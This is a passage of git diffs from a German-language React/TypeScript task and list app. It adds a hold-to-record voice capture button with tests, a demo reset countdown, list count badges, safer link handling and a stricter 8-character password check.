<span>Workspace</span>
|
||||
<CountBadge count={stats.docsTodosOpenCount} variant="accent" position="corner" className="-top-1.5 -right-1" />
|
||||
</span>
|
||||
<span>Workspace</span>
|
||||
</button>
|
||||
|
||||
<button
|
||||
@@ -1014,9 +1077,9 @@ export const App: React.FC = () => {
|
||||
className={`tab-btn ${activeTab === 'tasks' ? 'tab-btn-active' : ''}`}
|
||||
>
|
||||
<CheckSquare className="w-4 h-4" />
|
||||
<span className={`relative inline-flex items-center ${stats.tasksOpenCount > 0 ? 'pr-2' : ''}`}>
|
||||
<span className={`relative inline-flex items-center ${stats.tasksOpenCount > 0 ? 'pr-3' : ''}`}>
|
||||
<span>Aufgaben</span>
|
||||
<CountBadge count={stats.tasksOpenCount} variant="accent" position="corner" className="-top-1.5 -right-1" />
|
||||
<CountBadge count={stats.tasksOpenCount} variant="accent" position="corner" className="-top-0.5 -right-2" />
|
||||
</span>
|
||||
</button>
|
||||
|
||||
@@ -1028,7 +1091,10 @@ export const App: React.FC = () => {
|
||||
className={`tab-btn ${activeTab === 'lists' ? 'tab-btn-active' : ''}`}
|
||||
>
|
||||
<ShoppingCart className="w-4 h-4" />
|
||||
<span>Listen</span>
|
||||
<span className={`relative inline-flex items-center ${(stats.listItemsOpenCount ?? 0) > 0 ? 'pr-3' : ''}`}>
|
||||
<span>Listen</span>
|
||||
<CountBadge count={stats.listItemsOpenCount} variant="accent" position="corner" className="-top-0.5 -right-2" />
|
||||
</span>
|
||||
</button>
|
||||
</div>
|
||||
|
||||
@@ -1052,11 +1118,19 @@ export const App: React.FC = () => {
|
||||
|
||||
<MobileHeaderMenu activeTabLabel={activeTabLabelMap[activeTab]} />
|
||||
<OfflineBanner />
|
||||
{demoNotice && (
|
||||
<div
|
||||
role="status"
|
||||
className="fixed left-1/2 -translate-x-1/2 bottom-[calc(5.5rem+env(safe-area-inset-bottom))] sm:bottom-4 z-[60] px-3 py-1.5 rounded-full border border-accent/40 bg-panel-elevated text-main text-[11px] font-medium shadow-panel"
|
||||
>
|
||||
✨ {demoNotice}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Main Container */}
|
||||
<main className="flex-1 max-w-6xl w-full mx-auto px-3 sm:px-4 pt-3 pb-24 sm:pb-6">
|
||||
<ViewErrorBoundary onReset={() => setActiveTab('triage')}>
|
||||
<section>
|
||||
<section key={dataEpoch}>
|
||||
{activeTab === 'triage' && (
|
||||
<TriageDeck
|
||||
deck={deck}
|
||||
@@ -1085,6 +1159,7 @@ export const App: React.FC = () => {
|
||||
initialBlockId={selectedBlockId}
|
||||
onStatsChange={refreshAll}
|
||||
onOpenTask={handleOpenTask}
|
||||
onOpenSearch={() => setShowCommandPalette(true)}
|
||||
/>
|
||||
)}
|
||||
|
||||
@@ -1166,18 +1241,14 @@ export const App: React.FC = () => {
|
||||
}`}
|
||||
title="Workspace"
|
||||
>
|
||||
<div className="relative">
|
||||
<FileText className="w-5 h-5" />
|
||||
<CountBadge count={stats.docsTodosOpenCount} variant="accent" position="corner" className="-top-1.5 -right-2.5" />
|
||||
</div>
|
||||
<FileText className="w-5 h-5" />
|
||||
<span className="text-[10px] leading-tight">Workspace</span>
|
||||
</button>
|
||||
|
||||
{/* Col 3 (EXACT CENTER): + Quick-Add FAB */}
|
||||
<div className="flex items-center justify-center">
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => {
|
||||
<HoldToRecordFab
|
||||
onTap={() => {
|
||||
triggerHaptic(15);
|
||||
if (primaryAction) {
|
||||
primaryAction();
|
||||
@@ -1185,11 +1256,11 @@ export const App: React.FC = () => {
|
||||
openMobileTriageCapture();
|
||||
}
|
||||
}}
|
||||
className="w-14 h-14 -mt-6 rounded-full bg-accent text-on-accent shadow-lg flex items-center justify-center active:scale-90 transition-transform border-4 border-panel cursor-pointer"
|
||||
title="Schnell erfassen (+)"
|
||||
>
|
||||
<Plus className="w-7 h-7 stroke-[2.5]" />
|
||||
</button>
|
||||
onTranscript={async (text) => {
|
||||
const thought = await api.captureThought(text, 'normal', 'voice', '', { target: 'inbox' });
|
||||
handleCaptured(thought, 'inbox');
|
||||
}}
|
||||
/>
|
||||
</div>
|
||||
|
||||
{/* Col 4: Aufgaben */}
|
||||
@@ -1223,7 +1294,10 @@ export const App: React.FC = () => {
|
||||
}`}
|
||||
title="Listen"
|
||||
>
|
||||
<ShoppingCart className="w-5 h-5" />
|
||||
<div className="relative">
|
||||
<ShoppingCart className="w-5 h-5" />
|
||||
<CountBadge count={stats.listItemsOpenCount} variant="accent" position="corner" className="-top-1.5 -right-2.5" />
|
||||
</div>
|
||||
<span className="text-[10px] leading-tight">Listen</span>
|
||||
</button>
|
||||
</nav>
|
||||
|
||||
@@ -6,7 +6,6 @@ import {
|
||||
ShoppingCart,
|
||||
X,
|
||||
Loader2,
|
||||
ArrowRight,
|
||||
CornerDownLeft,
|
||||
} from 'lucide-react';
|
||||
import { SearchHit } from '../lib/types';
|
||||
|
||||
@@ -0,0 +1,38 @@
|
||||
import React, { useEffect, useState } from 'react';
|
||||
|
||||
interface DemoCountdownProps {
|
||||
deadline: number; // ms timestamp of the next reset, in this browser's clock
|
||||
minutes?: number;
|
||||
className?: string;
|
||||
onElapsed?: () => void;
|
||||
}
|
||||
|
||||
const fmt = (ms: number) => {
|
||||
const total = Math.max(0, Math.round(ms / 1000));
|
||||
return `${String(Math.floor(total / 60)).padStart(2, '0')}:${String(total % 60).padStart(2, '0')}`;
|
||||
};
|
||||
|
||||
// "✨ Demo · Reset in MM:SS" in place of the version under the app name while the demo mode resets itself
|
||||
export const DemoCountdown: React.FC<DemoCountdownProps> = ({ deadline, minutes, className = '', onElapsed }) => {
|
||||
const [now, setNow] = useState(() => Date.now());
|
||||
|
||||
useEffect(() => {
|
||||
const timer = window.setInterval(() => setNow(Date.now()), 1000);
|
||||
return () => window.clearInterval(timer);
|
||||
}, []);
|
||||
|
||||
const left = deadline - now;
|
||||
useEffect(() => {
|
||||
if (left <= 0) onElapsed?.();
|
||||
// Runs when the deadline passes, not on every tick
|
||||
}, [left <= 0, deadline]);
|
||||
|
||||
return (
|
||||
<span
|
||||
className={`font-mono leading-tight text-accent ${className}`}
|
||||
title={`Diese Test-Instanz wird alle ${minutes || 20} Minuten automatisch auf den Ausgangszustand zurückgesetzt.`}
|
||||
>
|
||||
✨ Demo · {left > 0 ? `Reset in ${fmt(left)}` : 'wird zurückgesetzt…'}
|
||||
</span>
|
||||
);
|
||||
};
|
||||
@@ -3,6 +3,7 @@ import { AuthStatus } from '../lib/types';
|
||||
import { api } from '../lib/api';
|
||||
import { MarkdownViewer } from '../lib/markdown';
|
||||
import { ReadingModal } from './ReadingModal';
|
||||
import { safeHref } from '../lib/safeUrl';
|
||||
|
||||
type LegalType = 'imprint' | 'privacy';
|
||||
const TITLES: Record<LegalType, string> = { imprint: 'Impressum', privacy: 'Datenschutz' };
|
||||
@@ -41,8 +42,8 @@ export const LegalLinks: React.FC<LegalLinksProps> = ({ legal, className = '', c
|
||||
return (
|
||||
<div className={`flex flex-wrap items-center justify-center gap-x-4 gap-y-1 text-[11px] text-muted ${className}`}>
|
||||
{entries.map((e) =>
|
||||
e.url ? (
|
||||
<a key={e.type} href={e.url} target="_blank" rel="noopener noreferrer" className="hover:text-main underline-offset-2 hover:underline">
|
||||
e.url && safeHref(e.url) ? (
|
||||
<a key={e.type} href={safeHref(e.url) as string} target="_blank" rel="noopener noreferrer" className="hover:text-main underline-offset-2 hover:underline">
|
||||
{TITLES[e.type]}
|
||||
</a>
|
||||
) : (
|
||||
|
||||
@@ -0,0 +1,22 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { render } from '@testing-library/react';
|
||||
import { AvatarStack } from '../AvatarStack';
|
||||
|
||||
const people = ['Anna', 'Ben', 'Carla', 'Dana', 'Emil'].map((name, i) => ({ id: `u${i}`, name }));
|
||||
|
||||
describe('AvatarStack (who a list or note is shared with)', () => {
|
||||
it('shows at most three people and the rest as +n', () => {
|
||||
const { container } = render(<AvatarStack people={people} />);
|
||||
expect(container.textContent).toContain('+2');
|
||||
expect(container.firstElementChild?.children.length).toBe(4); // 3 avatars + overflow circle
|
||||
});
|
||||
|
||||
it('renders nothing for an unshared item', () => {
|
||||
expect(render(<AvatarStack people={[]} />).container.firstChild).toBeNull();
|
||||
});
|
||||
|
||||
it('needs no overflow circle when everyone fits', () => {
|
||||
const { container } = render(<AvatarStack people={people.slice(0, 2)} />);
|
||||
expect(container.textContent).not.toContain('+');
|
||||
});
|
||||
});
|
||||
@@ -15,6 +15,7 @@ import { AuthStatus, SharingMode, User } from '../../lib/types';
|
||||
import { api, triggerHaptic } from '../../lib/api';
|
||||
import { ToggleSwitch } from '../../components/ToggleSwitch';
|
||||
import { LegalLinks } from '../../components/LegalLinks';
|
||||
import { passwordProblem } from '../../lib/password';
|
||||
|
||||
interface SetupAndAuthViewProps {
|
||||
authStatus: AuthStatus;
|
||||
@@ -74,6 +75,12 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
|
||||
const handleResetPassword = async (e: React.FormEvent) => {
|
||||
e.preventDefault();
|
||||
setError(null);
|
||||
const resetProblem = passwordProblem(newPassword);
|
||||
if (resetProblem) {
|
||||
setError(resetProblem);
|
||||
triggerHaptic(25);
|
||||
return;
|
||||
}
|
||||
if (newPassword !== newPasswordConfirm) {
|
||||
setError('Die eingegebenen Passwörter stimmen nicht überein.');
|
||||
triggerHaptic(25);
|
||||
@@ -99,6 +106,12 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
|
||||
e.preventDefault();
|
||||
setError(null);
|
||||
|
||||
const setupProblem = passwordProblem(setupPassword);
|
||||
if (setupProblem) {
|
||||
setError(setupProblem);
|
||||
triggerHaptic(25);
|
||||
return;
|
||||
}
|
||||
if (setupPassword !== setupPasswordConfirm) {
|
||||
setError('Die eingegebenen Passwörter stimmen nicht überein.');
|
||||
triggerHaptic(25);
|
||||
@@ -143,6 +156,12 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
|
||||
const handleRegisterOrInvite = async (e: React.FormEvent) => {
|
||||
e.preventDefault();
|
||||
setError(null);
|
||||
const registerProblem = passwordProblem(password);
|
||||
if (registerProblem) {
|
||||
setError(registerProblem);
|
||||
triggerHaptic(25);
|
||||
return;
|
||||
}
|
||||
setSubmitting(true);
|
||||
triggerHaptic(15);
|
||||
try {
|
||||
@@ -235,8 +254,7 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
|
||||
type="password"
|
||||
value={setupPassword}
|
||||
onChange={(e) => setSetupPassword(e.target.value)}
|
||||
placeholder="Mindestens 4 Zeichen"
|
||||
minLength={4}
|
||||
placeholder="Mindestens 8 Zeichen"
|
||||
required
|
||||
className="w-full h-8 px-2.5 input-field"
|
||||
/>
|
||||
@@ -248,7 +266,6 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
|
||||
value={setupPasswordConfirm}
|
||||
onChange={(e) => setSetupPasswordConfirm(e.target.value)}
|
||||
placeholder="Passwort erneut eingeben"
|
||||
minLength={4}
|
||||
required
|
||||
className={`w-full h-8 px-2.5 input-field ${
|
||||
setupPasswordConfirm && setupPassword !== setupPasswordConfirm
|
||||
@@ -529,7 +546,7 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
|
||||
type="password"
|
||||
value={newPassword}
|
||||
onChange={(e) => setNewPassword(e.target.value)}
|
||||
minLength={4}
|
||||
placeholder="Mindestens 8 Zeichen"
|
||||
required
|
||||
autoFocus
|
||||
autoComplete="new-password"
|
||||
@@ -542,7 +559,6 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
|
||||
type="password"
|
||||
value={newPasswordConfirm}
|
||||
onChange={(e) => setNewPasswordConfirm(e.target.value)}
|
||||
minLength={4}
|
||||
required
|
||||
autoComplete="new-password"
|
||||
className="w-full h-11 sm:h-8 px-2.5 input-field text-base sm:text-xs"
|
||||
@@ -716,8 +732,7 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
|
||||
type="password"
|
||||
value={password}
|
||||
onChange={(e) => setPassword(e.target.value)}
|
||||
placeholder="Mindestens 4 Zeichen"
|
||||
minLength={4}
|
||||
placeholder="Mindestens 8 Zeichen"
|
||||
required
|
||||
className="w-full h-8 px-2.5 input-field"
|
||||
/>
|
||||
|
||||
@@ -0,0 +1,372 @@
|
||||
import React, { useEffect, useRef, useState } from 'react';
|
||||
import { Mic, Plus } from 'lucide-react';
|
||||
import { triggerHaptic } from '../../lib/api';
|
||||
|
||||
export interface HoldToRecordFabProps {
|
||||
onTap: () => void;
|
||||
onTranscript: (text: string) => Promise<void> | void;
|
||||
}
|
||||
|
||||
const HOLD_DELAY_MS = 350;
|
||||
const CANCEL_DRAG_PX = 60;
|
||||
const STOP_TIMEOUT_MS = 1500;
|
||||
const TOAST_DURATION_MS = 2500;
|
||||
|
||||
export const HoldToRecordFab: React.FC<HoldToRecordFabProps> = ({ onTap, onTranscript }) => {
|
||||
const [isRecording, setIsRecording] = useState(false);
|
||||
const [isCancelZone, setIsCancelZone] = useState(false);
|
||||
const [liveTranscript, setLiveTranscript] = useState('');
|
||||
const [toastMessage, setToastMessage] = useState<string | null>(null);
|
||||
|
||||
const isPressedRef = useRef(false);
|
||||
// A press that turned into a hold must not also count as a tap when the browser sends its click
|
||||
const suppressClickRef = useRef(false);
|
||||
const didEnterHoldRef = useRef(false);
|
||||
const fallbackHandledRef = useRef(false);
|
||||
const isCancelZoneRef = useRef(false);
|
||||
const abortedRef = useRef(false);
|
||||
const isStoppingRef = useRef(false);
|
||||
const hasEndedRef = useRef(false);
|
||||
const finalizedRef = useRef(false);
|
||||
const startYRef = useRef(0);
|
||||
const transcriptRef = useRef('');
|
||||
|
||||
const recognitionRef = useRef<any>(null);
|
||||
const holdTimerRef = useRef<number | null>(null);
|
||||
const stopTimerRef = useRef<number | null>(null);
|
||||
const toastTimerRef = useRef<number | null>(null);
|
||||
|
||||
const clearHoldTimer = () => {
|
||||
if (holdTimerRef.current !== null) {
|
||||
window.clearTimeout(holdTimerRef.current);
|
||||
holdTimerRef.current = null;
|
||||
}
|
||||
};
|
||||
|
||||
const clearStopTimer = () => {
|
||||
if (stopTimerRef.current !== null) {
|
||||
window.clearTimeout(stopTimerRef.current);
|
||||
stopTimerRef.current = null;
|
||||
}
|
||||
};
|
||||
|
||||
const showToast = (msg: string) => {
|
||||
if (toastTimerRef.current !== null) {
|
||||
window.clearTimeout(toastTimerRef.current);
|
||||
}
|
||||
setToastMessage(msg);
|
||||
toastTimerRef.current = window.setTimeout(() => {
|
||||
setToastMessage(null);
|
||||
toastTimerRef.current = null;
|
||||
}, TOAST_DURATION_MS);
|
||||
};
|
||||
|
||||
useEffect(() => {
|
||||
return () => {
|
||||
clearHoldTimer();
|
||||
clearStopTimer();
|
||||
if (toastTimerRef.current !== null) {
|
||||
window.clearTimeout(toastTimerRef.current);
|
||||
}
|
||||
if (recognitionRef.current) {
|
||||
try {
|
||||
recognitionRef.current.abort?.();
|
||||
} catch {
|
||||
// ignore cleanup errors
|
||||
}
|
||||
}
|
||||
};
|
||||
}, []);
|
||||
|
||||
const finalizeRecording = async () => {
|
||||
if (finalizedRef.current) return;
|
||||
finalizedRef.current = true;
|
||||
clearStopTimer();
|
||||
recognitionRef.current = null;
|
||||
|
||||
if (abortedRef.current) return;
|
||||
|
||||
const text = transcriptRef.current.trim();
|
||||
setLiveTranscript('');
|
||||
if (!text) {
|
||||
showToast('Nichts erkannt');
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
await onTranscript(text);
|
||||
triggerHaptic(25);
|
||||
showToast('Im Quick Dump gespeichert');
|
||||
} catch {
|
||||
showToast('Fehler beim Speichern');
|
||||
}
|
||||
};
|
||||
|
||||
const startVoiceRecording = () => {
|
||||
const SpeechRecognition =
|
||||
(window as any).SpeechRecognition || (window as any).webkitSpeechRecognition;
|
||||
|
||||
if (!SpeechRecognition) {
|
||||
fallbackHandledRef.current = true;
|
||||
showToast('Spracheingabe wird von diesem Browser nicht unterstützt');
|
||||
onTap();
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
const recognition = new SpeechRecognition();
|
||||
recognition.lang = 'de-DE';
|
||||
recognition.interimResults = true;
|
||||
recognition.continuous = true;
|
||||
|
||||
transcriptRef.current = '';
|
||||
abortedRef.current = false;
|
||||
isStoppingRef.current = false;
|
||||
hasEndedRef.current = false;
|
||||
finalizedRef.current = false;
|
||||
isCancelZoneRef.current = false;
|
||||
|
||||
recognition.onresult = (event: any) => {
|
||||
let combined = '';
|
||||
for (let i = 0; i < event.results.length; i++) {
|
||||
combined += event.results[i][0].transcript;
|
||||
}
|
||||
transcriptRef.current = combined;
|
||||
setLiveTranscript(combined);
|
||||
};
|
||||
|
||||
recognition.onerror = (event: any) => {
|
||||
const errCode = event?.error;
|
||||
if (errCode === 'not-allowed' || errCode === 'service-not-allowed') {
|
||||
abortedRef.current = true;
|
||||
clearStopTimer();
|
||||
setIsRecording(false);
|
||||
setIsCancelZone(false);
|
||||
setLiveTranscript('');
|
||||
if (!fallbackHandledRef.current) {
|
||||
fallbackHandledRef.current = true;
|
||||
showToast('Mikrofon nicht freigegeben');
|
||||
onTap();
|
||||
}
|
||||
return;
|
||||
}
|
||||
if (isStoppingRef.current) {
|
||||
void finalizeRecording();
|
||||
}
|
||||
};
|
||||
|
||||
recognition.onend = () => {
|
||||
hasEndedRef.current = true;
|
||||
if (isStoppingRef.current) {
|
||||
void finalizeRecording();
|
||||
}
|
||||
};
|
||||
|
||||
recognitionRef.current = recognition;
|
||||
setLiveTranscript('');
|
||||
setIsCancelZone(false);
|
||||
setIsRecording(true);
|
||||
triggerHaptic([15, 60, 25]);
|
||||
recognition.start();
|
||||
} catch {
|
||||
fallbackHandledRef.current = true;
|
||||
setIsRecording(false);
|
||||
showToast('Spracheingabe wird von diesem Browser nicht unterstützt');
|
||||
onTap();
|
||||
}
|
||||
};
|
||||
|
||||
const handlePointerDown = (e: React.PointerEvent<HTMLButtonElement>) => {
|
||||
if (e.pointerType === 'mouse' && e.button !== 0) return;
|
||||
|
||||
try {
|
||||
e.currentTarget.setPointerCapture?.(e.pointerId);
|
||||
} catch {
|
||||
// ignore if unsupported in environment
|
||||
}
|
||||
|
||||
clearHoldTimer();
|
||||
clearStopTimer();
|
||||
|
||||
isPressedRef.current = true;
|
||||
suppressClickRef.current = false;
|
||||
didEnterHoldRef.current = false;
|
||||
fallbackHandledRef.current = false;
|
||||
isCancelZoneRef.current = false;
|
||||
startYRef.current = e.clientY;
|
||||
|
||||
holdTimerRef.current = window.setTimeout(() => {
|
||||
holdTimerRef.current = null;
|
||||
if (!isPressedRef.current) return;
|
||||
didEnterHoldRef.current = true;
|
||||
suppressClickRef.current = true;
|
||||
startVoiceRecording();
|
||||
}, HOLD_DELAY_MS);
|
||||
};
|
||||
|
||||
const handlePointerMove = (e: React.PointerEvent<HTMLButtonElement>) => {
|
||||
if (!isPressedRef.current || !didEnterHoldRef.current || fallbackHandledRef.current) return;
|
||||
const deltaUp = startYRef.current - e.clientY;
|
||||
const inCancel = deltaUp > CANCEL_DRAG_PX;
|
||||
if (inCancel !== isCancelZoneRef.current) {
|
||||
isCancelZoneRef.current = inCancel;
|
||||
setIsCancelZone(inCancel);
|
||||
triggerHaptic(10);
|
||||
}
|
||||
};
|
||||
|
||||
const handlePointerUp = (e: React.PointerEvent<HTMLButtonElement>) => {
|
||||
try {
|
||||
e.currentTarget.releasePointerCapture?.(e.pointerId);
|
||||
} catch {
|
||||
// ignore
|
||||
}
|
||||
|
||||
if (!isPressedRef.current) return;
|
||||
isPressedRef.current = false;
|
||||
clearHoldTimer();
|
||||
|
||||
if (!didEnterHoldRef.current) {
|
||||
// A short tap opens on the click that follows. Opening here already would let that click land
|
||||
// on the freshly opened sheet's backdrop and close it again at once.
|
||||
return;
|
||||
}
|
||||
|
||||
if (fallbackHandledRef.current) {
|
||||
return;
|
||||
}
|
||||
|
||||
setIsRecording(false);
|
||||
setIsCancelZone(false);
|
||||
|
||||
if (isCancelZoneRef.current) {
|
||||
abortedRef.current = true;
|
||||
clearStopTimer();
|
||||
setLiveTranscript('');
|
||||
triggerHaptic(15);
|
||||
try {
|
||||
recognitionRef.current?.abort?.();
|
||||
} catch {
|
||||
// ignore
|
||||
}
|
||||
recognitionRef.current = null;
|
||||
return;
|
||||
}
|
||||
|
||||
isStoppingRef.current = true;
|
||||
if (hasEndedRef.current || !recognitionRef.current) {
|
||||
void finalizeRecording();
|
||||
return;
|
||||
}
|
||||
|
||||
stopTimerRef.current = window.setTimeout(() => {
|
||||
void finalizeRecording();
|
||||
}, STOP_TIMEOUT_MS);
|
||||
|
||||
try {
|
||||
recognitionRef.current.stop();
|
||||
} catch {
|
||||
void finalizeRecording();
|
||||
}
|
||||
};
|
||||
|
||||
const handlePointerCancel = (e: React.PointerEvent<HTMLButtonElement>) => {
|
||||
try {
|
||||
e.currentTarget.releasePointerCapture?.(e.pointerId);
|
||||
} catch {
|
||||
// ignore
|
||||
}
|
||||
|
||||
if (!isPressedRef.current) return;
|
||||
isPressedRef.current = false;
|
||||
clearHoldTimer();
|
||||
clearStopTimer();
|
||||
|
||||
if (didEnterHoldRef.current && !fallbackHandledRef.current) {
|
||||
abortedRef.current = true;
|
||||
setIsRecording(false);
|
||||
setIsCancelZone(false);
|
||||
setLiveTranscript('');
|
||||
try {
|
||||
recognitionRef.current?.abort?.();
|
||||
} catch {
|
||||
// ignore
|
||||
}
|
||||
recognitionRef.current = null;
|
||||
}
|
||||
};
|
||||
|
||||
const displayedTranscript =
|
||||
liveTranscript.length > 180 ? `…${liveTranscript.slice(-180)}` : liveTranscript;
|
||||
|
||||
return (
|
||||
<>
|
||||
{isRecording && (
|
||||
<div
|
||||
className={
|
||||
isCancelZone
|
||||
? 'fixed left-1/2 -translate-x-1/2 bottom-[calc(5.5rem+env(safe-area-inset-bottom))] z-50 w-max max-w-[calc(100vw-1.5rem)] px-4 py-2.5 rounded-card bg-panel-elevated border border-status-err text-status-err shadow-panel pointer-events-none text-center'
|
||||
: 'fixed left-1/2 -translate-x-1/2 bottom-[calc(5.5rem+env(safe-area-inset-bottom))] z-50 w-max max-w-[calc(100vw-1.5rem)] px-4 py-2.5 rounded-card bg-panel-elevated border border-border text-main shadow-panel pointer-events-none text-center'
|
||||
}
|
||||
>
|
||||
{isCancelZone ? (
|
||||
<div className="text-xs font-semibold">🗑️ Zum Abbrechen loslassen</div>
|
||||
) : (
|
||||
<div className="space-y-1">
|
||||
<div className="text-xs font-semibold text-main">
|
||||
Ich höre zu… (loslassen speichert)
|
||||
</div>
|
||||
{displayedTranscript ? (
|
||||
<div className="text-xs text-muted break-words max-w-[calc(100vw-3rem)]">
|
||||
{displayedTranscript}
|
||||
</div>
|
||||
) : (
|
||||
<div className="text-[11px] text-faint">Nach oben ziehen zum Abbrechen</div>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{!isRecording && toastMessage && (
|
||||
<div
|
||||
role="status"
|
||||
aria-live="polite"
|
||||
className="fixed left-1/2 -translate-x-1/2 bottom-[calc(5.5rem+env(safe-area-inset-bottom))] z-50 w-max max-w-[calc(100vw-1.5rem)] px-4 py-2 rounded-pill bg-panel-elevated border border-border text-main text-xs font-medium shadow-panel pointer-events-none text-center"
|
||||
>
|
||||
{toastMessage}
|
||||
</div>
|
||||
)}
|
||||
|
||||
<button
|
||||
type="button"
|
||||
onPointerDown={handlePointerDown}
|
||||
onPointerMove={handlePointerMove}
|
||||
onPointerUp={handlePointerUp}
|
||||
onPointerCancel={handlePointerCancel}
|
||||
onContextMenu={(e) => e.preventDefault()}
|
||||
// Taps, keyboard, screen readers and switch control all end in a click; after a hold it is ignored
|
||||
onClick={() => {
|
||||
if (suppressClickRef.current) {
|
||||
suppressClickRef.current = false;
|
||||
return;
|
||||
}
|
||||
onTap();
|
||||
}}
|
||||
className={
|
||||
isRecording
|
||||
? 'w-14 h-14 -mt-6 rounded-full bg-status-err text-on-accent shadow-lg flex items-center justify-center transition-transform border-4 border-panel cursor-pointer touch-none select-none animate-pulse'
|
||||
: 'w-14 h-14 -mt-6 rounded-full bg-accent text-on-accent shadow-lg flex items-center justify-center active:scale-90 transition-transform border-4 border-panel cursor-pointer touch-none select-none'
|
||||
}
|
||||
title="Schnell erfassen (+)"
|
||||
aria-label="Schnell erfassen – tippen zum Schreiben, gedrückt halten zum Sprechen"
|
||||
>
|
||||
{isRecording ? (
|
||||
<Mic className="w-7 h-7 stroke-[2.5]" />
|
||||
) : (
|
||||
<Plus className="w-7 h-7 stroke-[2.5]" />
|
||||
)}
|
||||
</button>
|
||||
</>
|
||||
);
|
||||
};
|
||||
@@ -1,4 +1,4 @@
|
||||
import React, { useEffect, useRef, useState } from 'react';
|
||||
import React, { useEffect, useRef, useState, useMemo } from 'react';
|
||||
import {
|
||||
Mic,
|
||||
MicOff,
|
||||
@@ -38,6 +38,8 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
|
||||
hideTargetPicker = false,
|
||||
fixedTarget,
|
||||
}) => {
|
||||
// Read-only shared lists cannot take new items; stable reference for the effect below
|
||||
const writableLists = useMemo(() => lists.filter((l) => l.isOwner || l.role !== 'viewer'), [lists]);
|
||||
const [content, setContent] = useState('');
|
||||
const [priority, setPriority] = useState<PriorityLevel>('normal');
|
||||
const [dueDate, setDueDate] = useState('');
|
||||
@@ -77,10 +79,10 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
|
||||
}, [autoFocusTrigger]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!targetListId && lists.length > 0) {
|
||||
setTargetListId(lists[0].id);
|
||||
if (!targetListId && writableLists.length > 0) {
|
||||
setTargetListId(writableLists[0].id);
|
||||
}
|
||||
}, [lists, targetListId]);
|
||||
}, [writableLists, targetListId]);
|
||||
|
||||
// Close dropdown on outside click
|
||||
useEffect(() => {
|
||||
@@ -180,7 +182,7 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
|
||||
|
||||
const effectiveTarget = fixedTarget || overrideTarget || target;
|
||||
const effectiveListId =
|
||||
overrideListId || targetListId || (lists.length > 0 ? lists[0].id : '');
|
||||
overrideListId || targetListId || (writableLists.length > 0 ? writableLists[0].id : '');
|
||||
const capturedPriority = priority;
|
||||
const capturedDueDate = dueDate;
|
||||
const capturedSource = hasVoiceInputRef.current || isListening ? 'voice' : 'manual';
|
||||
@@ -236,7 +238,7 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
|
||||
await executeCapture();
|
||||
};
|
||||
|
||||
const selectedList = lists.find((l) => l.id === targetListId) || lists[0];
|
||||
const selectedList = writableLists.find((l) => l.id === targetListId) || writableLists[0];
|
||||
|
||||
const getTargetLabel = () => {
|
||||
if (target === 'task') return 'Direkt-Aufgabe';
|
||||
@@ -449,8 +451,8 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
|
||||
type="button"
|
||||
onClick={() => {
|
||||
setTarget('list_item');
|
||||
if (!targetListId && lists.length > 0) {
|
||||
setTargetListId(lists[0].id);
|
||||
if (!targetListId && writableLists.length > 0) {
|
||||
setTargetListId(writableLists[0].id);
|
||||
}
|
||||
}}
|
||||
className={`min-h-[36px] px-2.5 border rounded-btn flex items-center gap-1.5 text-left transition-colors cursor-pointer ${
|
||||
@@ -485,13 +487,13 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
|
||||
</div>
|
||||
|
||||
{/* Optional Sub-Row: Shared List Picker */}
|
||||
{lists.length > 0 && (
|
||||
{writableLists.length > 0 && (
|
||||
<div className="pt-2 border-t border-border flex flex-wrap items-center gap-1.5">
|
||||
<span className="text-muted mr-1 flex items-center gap-1">
|
||||
<ShoppingCart className="w-3 h-3 text-accent" />
|
||||
Liste:
|
||||
</span>
|
||||
{lists.map((lst) => {
|
||||
{writableLists.map((lst) => {
|
||||
const isSelected = target === 'list_item' && targetListId === lst.id;
|
||||
return (
|
||||
<button
|
||||
|
||||
@@ -0,0 +1,287 @@
|
||||
import React from 'react';
|
||||
import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest';
|
||||
import { render, screen, fireEvent, act } from '@testing-library/react';
|
||||
import { HoldToRecordFab } from '../HoldToRecordFab';
|
||||
|
||||
class FakeSpeechRecognition {
|
||||
static instances: FakeSpeechRecognition[] = [];
|
||||
|
||||
lang = '';
|
||||
interimResults = false;
|
||||
continuous = false;
|
||||
started = false;
|
||||
stopped = false;
|
||||
aborted = false;
|
||||
|
||||
onresult: ((event: any) => void) | null = null;
|
||||
onerror: ((event: any) => void) | null = null;
|
||||
onend: (() => void) | null = null;
|
||||
|
||||
constructor() {
|
||||
FakeSpeechRecognition.instances.push(this);
|
||||
}
|
||||
|
||||
start() {
|
||||
this.started = true;
|
||||
}
|
||||
|
||||
stop() {
|
||||
this.stopped = true;
|
||||
this.onend?.();
|
||||
}
|
||||
|
||||
abort() {
|
||||
this.aborted = true;
|
||||
this.onend?.();
|
||||
}
|
||||
|
||||
emitResult(transcript: string) {
|
||||
this.onresult?.({
|
||||
results: [[{ transcript }]],
|
||||
});
|
||||
}
|
||||
|
||||
emitError(error: string) {
|
||||
this.onerror?.({ error });
|
||||
}
|
||||
}
|
||||
|
||||
describe('HoldToRecordFab', () => {
|
||||
beforeEach(() => {
|
||||
vi.useFakeTimers();
|
||||
FakeSpeechRecognition.instances = [];
|
||||
(window as any).SpeechRecognition = FakeSpeechRecognition;
|
||||
delete (window as any).webkitSpeechRecognition;
|
||||
});
